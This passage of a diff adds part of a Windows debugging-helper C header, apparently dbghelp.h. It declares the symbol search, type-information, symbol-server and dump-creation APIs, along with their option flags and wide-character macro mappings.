PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +#define SYMSEARCH_MASKOBJS 0x01 // used internally to implement other APIs +#define SYMSEARCH_RECURSE 0X02 // recurse scopes +#define SYMSEARCH_GLOBALSONLY 0X04 // search only for global symbols +#define SYMSEARCH_ALLITEMS 0X08 // search for everything in the pdb, not just normal scoped symbols + +BOOL +IMAGEAPI +SymSearch( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt DWORD Index, + __in_opt DWORD SymTag, + __in_opt PCSTR Mask, + __in_opt DWORD64 Address, + __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback, + __in_opt PVOID UserContext, + __in DWORD Options + ); + +BOOL +IMAGEAPI +SymSearchW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt DWORD Index, + __in_opt DWORD SymTag, + __in_opt PCWSTR Mask, + __in_opt DWORD64 Address, + __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback, + __in_opt PVOID UserContext, + __in DWORD Options + ); + +BOOL +IMAGEAPI +SymGetScope( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in DWORD Index, + __inout PSYMBOL_INFO Symbol + ); + +BOOL +IMAGEAPI +SymGetScopeW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in DWORD Index, + __inout PSYMBOL_INFOW Symbol + ); + +BOOL +IMAGEAPI +SymFromIndex( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in DWORD Index, + __inout PSYMBOL_INFO Symbol + ); + +BOOL +IMAGEAPI +SymFromIndexW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in DWORD Index, + __inout PSYMBOL_INFOW Symbol + ); + +typedef enum _IMAGEHLP_SYMBOL_TYPE_INFO { + TI_GET_SYMTAG, + TI_GET_SYMNAME, + TI_GET_LENGTH, + TI_GET_TYPE, + TI_GET_TYPEID, + TI_GET_BASETYPE, + TI_GET_ARRAYINDEXTYPEID, + TI_FINDCHILDREN, + TI_GET_DATAKIND, + TI_GET_ADDRESSOFFSET, + TI_GET_OFFSET, + TI_GET_VALUE, + TI_GET_COUNT, + TI_GET_CHILDRENCOUNT, + TI_GET_BITPOSITION, + TI_GET_VIRTUALBASECLASS, + TI_GET_VIRTUALTABLESHAPEID, + TI_GET_VIRTUALBASEPOINTEROFFSET, + TI_GET_CLASSPARENTID, + TI_GET_NESTED, + TI_GET_SYMINDEX, + TI_GET_LEXICALPARENT, + TI_GET_ADDRESS, + TI_GET_THISADJUST, + TI_GET_UDTKIND, + TI_IS_EQUIV_TO, + TI_GET_CALLING_CONVENTION, + TI_IS_CLOSE_EQUIV_TO, + TI_GTIEX_REQS_VALID, + TI_GET_VIRTUALBASEOFFSET, + TI_GET_VIRTUALBASEDISPINDEX, + TI_GET_IS_REFERENCE, + TI_GET_INDIRECTVIRTUALBASECLASS, + IMAGEHLP_SYMBOL_TYPE_INFO_MAX, +} IMAGEHLP_SYMBOL_TYPE_INFO; + +typedef struct _TI_FINDCHILDREN_PARAMS { + ULONG Count; + ULONG Start; + ULONG ChildId[1]; +} TI_FINDCHILDREN_PARAMS; + +BOOL +IMAGEAPI +SymGetTypeInfo( + __in HANDLE hProcess, + __in DWORD64 ModBase, + __in ULONG TypeId, + __in IMAGEHLP_SYMBOL_TYPE_INFO GetType, + __out PVOID pInfo + ); + +#define IMAGEHLP_GET_TYPE_INFO_UNCACHED 0x00000001 +#define IMAGEHLP_GET_TYPE_INFO_CHILDREN 0x00000002 + +typedef struct _IMAGEHLP_GET_TYPE_INFO_PARAMS { + IN ULONG SizeOfStruct; + IN ULONG Flags; + IN ULONG NumIds; + IN PULONG TypeIds; + IN ULONG64 TagFilter; + IN ULONG NumReqs; + IN IMAGEHLP_SYMBOL_TYPE_INFO* ReqKinds; + IN PULONG_PTR ReqOffsets; + IN PULONG ReqSizes; + IN ULONG_PTR ReqStride; + IN ULONG_PTR BufferSize; + OUT PVOID Buffer; + OUT ULONG EntriesMatched; + OUT ULONG EntriesFilled; + OUT ULONG64 TagsFound; + OUT ULONG64 AllReqsValid; + IN ULONG NumReqsValid; + OUT PULONG64 ReqsValid OPTIONAL; +} IMAGEHLP_GET_TYPE_INFO_PARAMS, *PIMAGEHLP_GET_TYPE_INFO_PARAMS; + +BOOL +IMAGEAPI +SymGetTypeInfoEx( + __in HANDLE hProcess, + __in DWORD64 ModBase, + __inout PIMAGEHLP_GET_TYPE_INFO_PARAMS Params + ); + +BOOL +IMAGEAPI +SymEnumTypes( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumTypesW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumTypesByName( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt PCSTR mask, + __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymEnumTypesByNameW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt PCWSTR mask, + __in PSYM_ENUMERATESYMBOLS_CALLBACKW EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +BOOL +IMAGEAPI +SymGetTypeFromName( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PCSTR Name, + __inout PSYMBOL_INFO Symbol + ); + +BOOL +IMAGEAPI +SymGetTypeFromNameW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PCWSTR Name, + __inout PSYMBOL_INFOW Symbol + ); + +BOOL +IMAGEAPI +SymAddSymbol( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PCSTR Name, + __in DWORD64 Address, + __in DWORD Size, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymAddSymbolW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PCWSTR Name, + __in DWORD64 Address, + __in DWORD Size, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymDeleteSymbol( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt PCSTR Name, + __in DWORD64 Address, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymDeleteSymbolW( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in_opt PCWSTR Name, + __in DWORD64 Address, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymRefreshModuleList( + __in HANDLE hProcess + ); + +BOOL +IMAGEAPI +SymAddSourceStream( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCSTR StreamFile, + __in_bcount_opt(Size) PBYTE Buffer, + __in size_t Size + ); + +typedef BOOL (WINAPI *SYMADDSOURCESTREAM)(HANDLE, ULONG64, PCSTR, PBYTE, size_t); + +BOOL +IMAGEAPI +SymAddSourceStreamA( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCSTR StreamFile, + __in_bcount_opt(Size) PBYTE Buffer, + __in size_t Size + ); + +typedef BOOL (WINAPI *SYMADDSOURCESTREAMA)(HANDLE, ULONG64, PCSTR, PBYTE, size_t); + +BOOL +IMAGEAPI +SymAddSourceStreamW( + __in HANDLE hProcess, + __in ULONG64 Base, + __in_opt PCWSTR FileSpec, + __in_bcount_opt(Size) PBYTE Buffer, + __in size_t Size + ); + +BOOL +IMAGEAPI +SymSrvIsStoreW( + __in_opt HANDLE hProcess, + __in PCWSTR path + ); + +BOOL +IMAGEAPI +SymSrvIsStore( + __in_opt HANDLE hProcess, + __in PCSTR path + ); + +PCSTR +IMAGEAPI +SymSrvDeltaName( + __in HANDLE hProcess, + __in_opt PCSTR SymPath, + __in PCSTR Type, + __in PCSTR File1, + __in PCSTR File2 + ); + +PCWSTR +IMAGEAPI +SymSrvDeltaNameW( + __in HANDLE hProcess, + __in_opt PCWSTR SymPath, + __in PCWSTR Type, + __in PCWSTR File1, + __in PCWSTR File2 + ); + +PCSTR +IMAGEAPI +SymSrvGetSupplement( + __in HANDLE hProcess, + __in_opt PCSTR SymPath, + __in PCSTR Node, + __in PCSTR File + ); + +PCWSTR +IMAGEAPI +SymSrvGetSupplementW( + __in HANDLE hProcess, + __in_opt PCWSTR SymPath, + __in PCWSTR Node, + __in PCWSTR File + ); + +BOOL +IMAGEAPI +SymSrvGetFileIndexes( + __in PCSTR File, + __out GUID *Id, + __out PDWORD Val1, + __out_opt PDWORD Val2, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymSrvGetFileIndexesW( + __in PCWSTR File, + __out GUID *Id, + __out PDWORD Val1, + __out_opt PDWORD Val2, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymSrvGetFileIndexStringW( + __in HANDLE hProcess, + __in_opt PCWSTR SrvPath, + __in PCWSTR File, + __out_ecount(Size) PWSTR Index, + __in size_t Size, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymSrvGetFileIndexString( + __in HANDLE hProcess, + __in_opt PCSTR SrvPath, + __in PCSTR File, + __out_ecount(Size) PSTR Index, + __in size_t Size, + __in DWORD Flags + ); + +typedef struct { + DWORD sizeofstruct; + char file[MAX_PATH +1]; + BOOL stripped; + DWORD timestamp; + DWORD size; + char dbgfile[MAX_PATH +1]; + char pdbfile[MAX_PATH + 1]; + GUID guid; + DWORD sig; + DWORD age; +} SYMSRV_INDEX_INFO, *PSYMSRV_INDEX_INFO; + +typedef struct { + DWORD sizeofstruct; + WCHAR file[MAX_PATH +1]; + BOOL stripped; + DWORD timestamp; + DWORD size; + WCHAR dbgfile[MAX_PATH +1]; + WCHAR pdbfile[MAX_PATH + 1]; + GUID guid; + DWORD sig; + DWORD age; +} SYMSRV_INDEX_INFOW, *PSYMSRV_INDEX_INFOW; + +BOOL +IMAGEAPI +SymSrvGetFileIndexInfo( + __in PCSTR File, + __out PSYMSRV_INDEX_INFO Info, + __in DWORD Flags + ); + +BOOL +IMAGEAPI +SymSrvGetFileIndexInfoW( + __in PCWSTR File, + __out PSYMSRV_INDEX_INFOW Info, + __in DWORD Flags + ); + +PCSTR +IMAGEAPI +SymSrvStoreSupplement( + __in HANDLE hProcess, + __in_opt PCSTR SrvPath, + __in PCSTR Node, + __in PCSTR File, + __in DWORD Flags + ); + +PCWSTR +IMAGEAPI +SymSrvStoreSupplementW( + __in HANDLE hProcess, + __in_opt PCWSTR SymPath, + __in PCWSTR Node, + __in PCWSTR File, + __in DWORD Flags + ); + +PCSTR +IMAGEAPI +SymSrvStoreFile( + __in HANDLE hProcess, + __in_opt PCSTR SrvPath, + __in PCSTR File, + __in DWORD Flags + ); + +PCWSTR +IMAGEAPI +SymSrvStoreFileW( + __in HANDLE hProcess, + __in_opt PCWSTR SrvPath, + __in PCWSTR File, + __in DWORD Flags + ); + +// used by SymGetSymbolFile's "Type" parameter + +typedef enum { + sfImage = 0, + sfDbg, + sfPdb, + sfMpd, + sfMax +}; + +BOOL +IMAGEAPI +SymGetSymbolFile( + __in_opt HANDLE hProcess, + __in_opt PCSTR SymPath, + __in PCSTR ImageFile, + __in DWORD Type, + __out_ecount(cSymbolFile) PSTR SymbolFile, + __in size_t cSymbolFile, + __out_ecount(cDbgFile) PSTR DbgFile, + __in size_t cDbgFile + ); + +BOOL +IMAGEAPI +SymGetSymbolFileW( + __in_opt HANDLE hProcess, + __in_opt PCWSTR SymPath, + __in PCWSTR ImageFile, + __in DWORD Type, + __out_ecount(cSymbolFile) PWSTR SymbolFile, + __in size_t cSymbolFile, + __out_ecount(cDbgFile) PWSTR DbgFile, + __in size_t cDbgFile + ); + +// +// Full user-mode dump creation. +// + +typedef BOOL (WINAPI *PDBGHELP_CREATE_USER_DUMP_CALLBACK)( + __in DWORD DataType, + __in PVOID* Data, + __out LPDWORD DataLength, + __in_opt PVOID UserData + ); + +BOOL +WINAPI +DbgHelpCreateUserDump( + __in_opt LPCSTR FileName, + __in PDBGHELP_CREATE_USER_DUMP_CALLBACK Callback, + __in_opt PVOID UserData + ); + +BOOL +WINAPI +DbgHelpCreateUserDumpW( + __in_opt LPCWSTR FileName, + __in PDBGHELP_CREATE_USER_DUMP_CALLBACK Callback, + __in_opt PVOID UserData + ); + +// ----------------------------------------------------------------- +// The following 4 legacy APIs are fully supported, but newer +// ones are recommended. SymFromName and SymFromAddr provide +// much more detailed info on the returned symbol. + +BOOL +IMAGEAPI +SymGetSymFromAddr64( + __in HANDLE hProcess, + __in DWORD64 qwAddr, + __out_opt PDWORD64 pdwDisplacement, + __inout PIMAGEHLP_SYMBOL64 Symbol + ); + + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetSymFromAddr SymGetSymFromAddr64 +#else +BOOL +IMAGEAPI +SymGetSymFromAddr( + __in HANDLE hProcess, + __in DWORD dwAddr, + __out_opt PDWORD pdwDisplacement, + __inout PIMAGEHLP_SYMBOL Symbol + ); +#endif + +// While following two APIs will provide a symbol from a name, +// SymEnumSymbols can provide the same matching information +// for ALL symbols with a matching name, even regular +// expressions. That way you can search across modules +// and differentiate between identically named symbols. + +BOOL +IMAGEAPI +SymGetSymFromName64( + __in HANDLE hProcess, + __in PCSTR Name, + __inout PIMAGEHLP_SYMBOL64 Symbol + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetSymFromName SymGetSymFromName64 +#else +BOOL +IMAGEAPI +SymGetSymFromName( + __in HANDLE hProcess, + __in PCSTR Name, + __inout PIMAGEHLP_SYMBOL Symbol + ); +#endif + + +// Symbol server exports + +typedef BOOL (WINAPI *PSYMBOLSERVERPROC)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERPROCA)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERPROCW)(PCWSTR, PCWSTR, PVOID, DWORD, DWORD, PWSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROC)(PCSTR, PCSTR, PCSTR, PSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROCA)(PCSTR, PCSTR, PCSTR, PSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERBYINDEXPROCW)(PCWSTR, PCWSTR, PCWSTR, PWSTR); +typedef BOOL (WINAPI *PSYMBOLSERVEROPENPROC)(VOID); +typedef BOOL (WINAPI *PSYMBOLSERVERCLOSEPROC)(VOID); +typedef BOOL (WINAPI *PSYMBOLSERVERSETOPTIONSPROC)(UINT_PTR, ULONG64); +typedef BOOL (WINAPI *PSYMBOLSERVERSETOPTIONSWPROC)(UINT_PTR, ULONG64); +typedef BOOL (CALLBACK WINAPI *PSYMBOLSERVERCALLBACKPROC)(UINT_PTR action, ULONG64 data, ULONG64 context); +typedef UINT_PTR (WINAPI *PSYMBOLSERVERGETOPTIONSPROC)(); +typedef BOOL (WINAPI *PSYMBOLSERVERPINGPROC)(PCSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERPINGPROCA)(PCSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERPINGPROCW)(PCWSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERGETVERSION)(LPAPI_VERSION); +typedef BOOL (WINAPI *PSYMBOLSERVERDELTANAME)(PCSTR, PVOID, DWORD, DWORD, PVOID, DWORD, DWORD, PSTR, size_t); +typedef BOOL (WINAPI *PSYMBOLSERVERDELTANAMEW)(PCWSTR, PVOID, DWORD, DWORD, PVOID, DWORD, DWORD, PWSTR, size_t); +typedef BOOL (WINAPI *PSYMBOLSERVERGETSUPPLEMENT)(PCSTR, PCSTR, PCSTR, PSTR, size_t); +typedef BOOL (WINAPI *PSYMBOLSERVERGETSUPPLEMENTW)(PCWSTR, PCWSTR, PCWSTR, PWSTR, size_t); +typedef BOOL (WINAPI *PSYMBOLSERVERSTORESUPPLEMENT)(PCSTR, PCSTR, PCSTR, PSTR, size_t, DWORD); +typedef BOOL (WINAPI *PSYMBOLSERVERSTORESUPPLEMENTW)(PCWSTR, PCWSTR, PCWSTR, PWSTR, size_t, DWORD); +typedef BOOL (WINAPI *PSYMBOLSERVERGETINDEXSTRING)(PVOID, DWORD, DWORD, PSTR, size_t); +typedef BOOL (WINAPI *PSYMBOLSERVERGETINDEXSTRINGW)(PVOID, DWORD, DWORD, PWSTR, size_t); +typedef BOOL (WINAPI *PSYMBOLSERVERSTOREFILE)(PCSTR, PCSTR, PVOID, DWORD, DWORD, PSTR, size_t, DWORD); +typedef BOOL (WINAPI *PSYMBOLSERVERSTOREFILEW)(PCWSTR, PCWSTR, PVOID, DWORD, DWORD, PWSTR, size_t, DWORD); +typedef BOOL (WINAPI *PSYMBOLSERVERISSTORE)(PCSTR); +typedef BOOL (WINAPI *PSYMBOLSERVERISSTOREW)(PCWSTR); +typedef DWORD (WINAPI *PSYMBOLSERVERVERSION)(); +typedef BOOL (CALLBACK WINAPI *PSYMBOLSERVERMESSAGEPROC)(UINT_PTR action, ULONG64 data, ULONG64 context); + +#define SYMSRV_VERSION 2 + +#define SSRVOPT_CALLBACK 0x00000001 +#define SSRVOPT_DWORD 0x00000002 +#define SSRVOPT_DWORDPTR 0x00000004 +#define SSRVOPT_GUIDPTR 0x00000008 +#define SSRVOPT_OLDGUIDPTR 0x00000010 +#define SSRVOPT_UNATTENDED 0x00000020 +#define SSRVOPT_NOCOPY 0x00000040 +#define SSRVOPT_GETPATH 0x00000040 +#define SSRVOPT_PARENTWIN 0x00000080 +#define SSRVOPT_PARAMTYPE 0x00000100 +#define SSRVOPT_SECURE 0x00000200 +#define SSRVOPT_TRACE 0x00000400 +#define SSRVOPT_SETCONTEXT 0x00000800 +#define SSRVOPT_PROXY 0x00001000 +#define SSRVOPT_DOWNSTREAM_STORE 0x00002000 +#define SSRVOPT_OVERWRITE 0x00004000 +#define SSRVOPT_RESETTOU 0x00008000 +#define SSRVOPT_CALLBACKW 0x00010000 +#define SSRVOPT_FLAT_DEFAULT_STORE 0x00020000 +#define SSRVOPT_PROXYW 0x00040000 +#define SSRVOPT_MESSAGE 0x00080000 +#define SSRVOPT_SERVICE 0x00100000 // deprecated +#define SSRVOPT_FAVOR_COMPRESSED 0x00200000 +#define SSRVOPT_STRING 0x00400000 +#define SSRVOPT_WINHTTP 0x00800000 +#define SSRVOPT_WININET 0x01000000 + +#define SSRVOPT_MAX 0x0100000 + +#define SSRVOPT_RESET ((ULONG_PTR)-1) + + +#define NUM_SSRVOPTS 30 + +#define SSRVACTION_TRACE 1 +#define SSRVACTION_QUERYCANCEL 2 +#define SSRVACTION_EVENT 3 +#define SSRVACTION_EVENTW 4 +#define SSRVACTION_SIZE 5 + +#define SYMSTOREOPT_COMPRESS 0x01 +#define SYMSTOREOPT_OVERWRITE 0x02 +#define SYMSTOREOPT_RETURNINDEX 0x04 +#define SYMSTOREOPT_POINTER 0x08 +#define SYMSTOREOPT_ALT_INDEX 0x10 +#define SYMSTOREOPT_UNICODE 0x20 +#define SYMSTOREOPT_PASS_IF_EXISTS 0x40 + +#ifdef DBGHELP_TRANSLATE_TCHAR + #define SymInitialize SymInitializeW + #define SymAddSymbol SymAddSymbolW + #define SymDeleteSymbol SymDeleteSymbolW + #define SearchTreeForFile SearchTreeForFileW + #define UnDecorateSymbolName UnDecorateSymbolNameW + #define SymGetLineFromName64 SymGetLineFromNameW64 + #define SymGetLineFromAddr64 SymGetLineFromAddrW64 + #define SymGetLineNext64 SymGetLineNextW64 + #define SymGetLinePrev64 SymGetLinePrevW64 + #define SymFromName SymFromNameW + #define SymFindExecutableImage SymFindExecutableImageW + #define FindExecutableImageEx FindExecutableImageExW + #define SymSearch SymSearchW + #define SymEnumLines SymEnumLinesW + #define SymEnumSourceLines SymEnumSourceLinesW + #define SymGetTypeFromName SymGetTypeFromNameW + #define SymEnumSymbolsForAddr SymEnumSymbolsForAddrW + #define SymFromAddr SymFromAddrW + #define SymMatchString SymMatchStringW + #define SymEnumSourceFiles SymEnumSourceFilesW + #define SymEnumSymbols SymEnumSymbolsW + #define SymLoadModuleEx SymLoadModuleExW + #define SymSetSearchPath SymSetSearchPathW + #define SymGetSearchPath SymGetSearchPathW + #define EnumDirTree EnumDirTreeW + #define SymFromToken SymFromTokenW + #define SymFromIndex SymFromIndexW + #define SymGetScope SymGetScopeW + #define SymNext SymNextW + #define SymPrev SymPrevW + #define SymEnumTypes SymEnumTypesW + #define SymEnumTypesByName SymEnumTypesByNameW + #define SymRegisterCallback64 SymRegisterCallbackW64 + #define SymFindDebugInfoFile SymFindDebugInfoFileW + #define FindDebugInfoFileEx FindDebugInfoFileExW + #define SymFindFileInPath SymFindFileInPathW + #define SymEnumerateModules64 SymEnumerateModulesW64 + #define SymSetHomeDirectory SymSetHomeDirectoryW + #define SymGetHomeDirectory SymGetHomeDirectoryW + #define SymGetSourceFile SymGetSourceFileW + #define SymGetSourceFileToken SymGetSourceFileTokenW + #define SymGetSourceFileFromToken SymGetSourceFileFromTokenW + #define SymGetSourceVarFromToken SymGetSourceVarFromTokenW + #define SymGetSourceFileToken SymGetSourceFileTokenW + #define SymGetFileLineOffsets64 SymGetFileLineOffsetsW64 + #define SymFindFileInPath SymFindFileInPathW + #define SymMatchFileName SymMatchFileNameW + #define SymGetSourceFileFromToken SymGetSourceFileFromTokenW + #define SymGetSourceVarFromToken SymGetSourceVarFromTokenW + #define SymGetModuleInfo64 SymGetModuleInfoW64 + #define SymSrvIsStore SymSrvIsStoreW + #define SymSrvDeltaName SymSrvDeltaNameW + #define SymSrvGetSupplement SymSrvGetSupplementW + #define SymSrvStoreSupplement SymSrvStoreSupplementW + #define SymSrvGetFileIndexes SymSrvGetFileIndexes + #define SymSrvGetFileIndexString SymSrvGetFileIndexStringW + #define SymSrvStoreFile SymSrvStoreFileW + #define SymGetSymbolFile SymGetSymbolFileW + #define EnumerateLoadedModules64 EnumerateLoadedModulesW64 + #define EnumerateLoadedModulesEx EnumerateLoadedModulesExW + #define SymSrvGetFileIndexInfo SymSrvGetFileIndexInfoW + + #define IMAGEHLP_LINE64 IMAGEHLP_LINEW64 + #define PIMAGEHLP_LINE64 PIMAGEHLP_LINEW64 + #define SYMBOL_INFO SYMBOL_INFOW + #define PSYMBOL_INFO PSYMBOL_INFOW + #define SYMBOL_INFO_PACKAGE SYMBOL_INFO_PACKAGEW + #define PSYMBOL_INFO_PACKAGE PSYMBOL_INFO_PACKAGEW + #define FIND_EXE_FILE_CALLBACK FIND_EXE_FILE_CALLBACKW + #define PFIND_EXE_FILE_CALLBACK PFIND_EXE_FILE_CALLBACKW + #define SYM_ENUMERATESYMBOLS_CALLBACK SYM_ENUMERATESYMBOLS_CALLBACKW + #define PSYM_ENUMERATESYMBOLS_CALLBACK PSYM_ENUMERATESYMBOLS_CALLBACKW + #define SRCCODEINFO SRCCODEINFOW + #define PSRCCODEINFO PSRCCODEINFOW + #define SOURCEFILE SOURCEFILEW + #define PSOURCEFILE PSOURCEFILEW + #define SYM_ENUMSOURECFILES_CALLBACK SYM_ENUMSOURCEFILES_CALLBACKW + #define PSYM_ENUMSOURCEFILES_CALLBACK PSYM_ENUMSOURECFILES_CALLBACKW + #define IMAGEHLP_CBA_EVENT IMAGEHLP_CBA_EVENTW + #define PIMAGEHLP_CBA_EVENT PIMAGEHLP_CBA_EVENTW + #define PENUMDIRTREE_CALLBACK PENUMDIRTREE_CALLBACKW + #define IMAGEHLP_DEFERRED_SYMBOL_LOAD64 IMAGEHLP_DEFERRED_SYMBOL_LOADW64 + #define PIMAGEHLP_DEFERRED_SYMBOL_LOAD64 PIMAGEHLP_DEFERRED_SYMBOL_LOADW64 + #define PFIND_DEBUG_FILE_CALLBACK PFIND_DEBUG_FILE_CALLBACKW + #define PFINDFILEINPATHCALLBACK PFINDFILEINPATHCALLBACKW + #define IMAGEHLP_MODULE64 IMAGEHLP_MODULEW64 + #define PIMAGEHLP_MODULE64 PIMAGEHLP_MODULEW64 + #define SYMSRV_INDEX_INFO SYMSRV_INDEX_INFOW + #define PSYMSRV_INDEX_INFO PSYMSRV_INDEX_INFOW + + #define PSYMBOLSERVERPROC PSYMBOLSERVERPROCW + #define PSYMBOLSERVERPINGPROC PSYMBOLSERVERPINGPROCW +#endif + +// ----------------------------------------------------------------- +// The following APIs exist only for backwards compatibility +// with a pre-release version documented in an MSDN release. + +// You should use SymFindFileInPath if you want to maintain +// future compatibility. + +DBHLP_DEPRECIATED +BOOL +IMAGEAPI +FindFileInPath( + __in HANDLE hprocess, + __in PCSTR SearchPath, + __in PCSTR FileName, + __in PVOID id, + __in DWORD two, + __in DWORD three, + __in DWORD flags, + __out_ecount(MAX_PATH + 1) PSTR FilePath + ); + +// You should use SymFindFileInPath if you want to maintain +// future compatibility. + +DBHLP_DEPRECIATED +BOOL +IMAGEAPI +FindFileInSearchPath( + __in HANDLE hprocess, + __in PCSTR SearchPath, + __in PCSTR FileName, + __in DWORD one, + __in DWORD two, + __in DWORD three, + __out_ecount(MAX_PATH + 1) PSTR FilePath + ); + +DBHLP_DEPRECIATED +BOOL +IMAGEAPI +SymEnumSym( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +DBHLP_DEPRECIATED +BOOL +IMAGEAPI +SymEnumerateSymbols64( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PSYM_ENUMSYMBOLS_CALLBACK64 EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +DBHLP_DEPRECIATED +BOOL +IMAGEAPI +SymEnumerateSymbolsW64( + __in HANDLE hProcess, + __in ULONG64 BaseOfDll, + __in PSYM_ENUMSYMBOLS_CALLBACK64W EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymEnumerateSymbols SymEnumerateSymbols64 +#define SymEnumerateSymbolsW SymEnumerateSymbolsW64 +#else +DBHLP_DEPRECIATED +BOOL +IMAGEAPI +SymEnumerateSymbols( + __in HANDLE hProcess, + __in ULONG BaseOfDll, + __in PSYM_ENUMSYMBOLS_CALLBACK EnumSymbolsCallback, + __in_opt PVOID UserContext + ); + +DBHLP_DEPRECIATED +BOOL +IMAGEAPI +SymEnumerateSymbolsW( + __in HANDLE hProcess, + __in ULONG BaseOfDll, + __in PSYM_ENUMSYMBOLS_CALLBACKW EnumSymbolsCallback, + __in_opt PVOID UserContext + ); +#endif + +// use SymLoadModuleEx + +DWORD64 +IMAGEAPI +SymLoadModule64( + __in HANDLE hProcess, + __in_opt HANDLE hFile, + __in_opt PCSTR ImageName, + __in_opt PCSTR ModuleName, + __in DWORD64 BaseOfDll, + __in DWORD SizeOfDll + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymLoadModule SymLoadModule64 +#else +DWORD +IMAGEAPI +SymLoadModule( + __in HANDLE hProcess, + __in_opt HANDLE hFile, + __in_opt PCSTR ImageName, + __in_opt PCSTR ModuleName, + __in DWORD BaseOfDll, + __in DWORD SizeOfDll + ); +#endif + +BOOL +IMAGEAPI +SymGetSymNext64( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOL64 Symbol + ); + +BOOL +IMAGEAPI +SymGetSymNextW64( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOLW64 Symbol + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetSymNext SymGetSymNext64 +#define SymGetSymNextW SymGetSymNextW64 +#else +BOOL +IMAGEAPI +SymGetSymNext( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOL Symbol + ); + +BOOL +IMAGEAPI +SymGetSymNextW( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOLW Symbol + ); +#endif + +BOOL +IMAGEAPI +SymGetSymPrev64( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOL64 Symbol + ); + +BOOL +IMAGEAPI +SymGetSymPrevW64( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOLW64 Symbol + ); + +#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64) +#define SymGetSymPrev SymGetSymPrev64 +#define SymGetSymPrevW SymGetSymPrevW64 +#else +BOOL +IMAGEAPI +SymGetSymPrev( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOL Symbol + ); + +BOOL +IMAGEAPI +SymGetSymPrevW( + __in HANDLE hProcess, + __inout PIMAGEHLP_SYMBOLW Symbol + ); +#endif + + +// These values should not be used. +// They have been replaced by SYMFLAG_ values. + +#define SYMF_OMAP_GENERATED 0x00000001 +#define SYMF_OMAP_MODIFIED 0x00000002 +#define SYMF_REGISTER 0x00000008 +#define SYMF_REGREL 0x00000010 +#define SYMF_FRAMEREL 0x00000020 +#define SYMF_PARAMETER 0x00000040 +#define SYMF_LOCAL 0x00000080 +#define SYMF_CONSTANT 0x00000100 +#define SYMF_EXPORT 0x00000200 +#define SYMF_FORWARDER 0x00000400 +#define SYMF_FUNCTION 0x00000800 +#define SYMF_VIRTUAL 0x00001000 +#define SYMF_THUNK 0x00002000 +#define SYMF_TLSREL 0x00004000 + +// These values should also not be used. +// They have been replaced by SYMFLAG_ values. + +#define IMAGEHLP_SYMBOL_INFO_VALUEPRESENT 1 +#define IMAGEHLP_SYMBOL_INFO_REGISTER SYMF_REGISTER // 0x0008 +#define 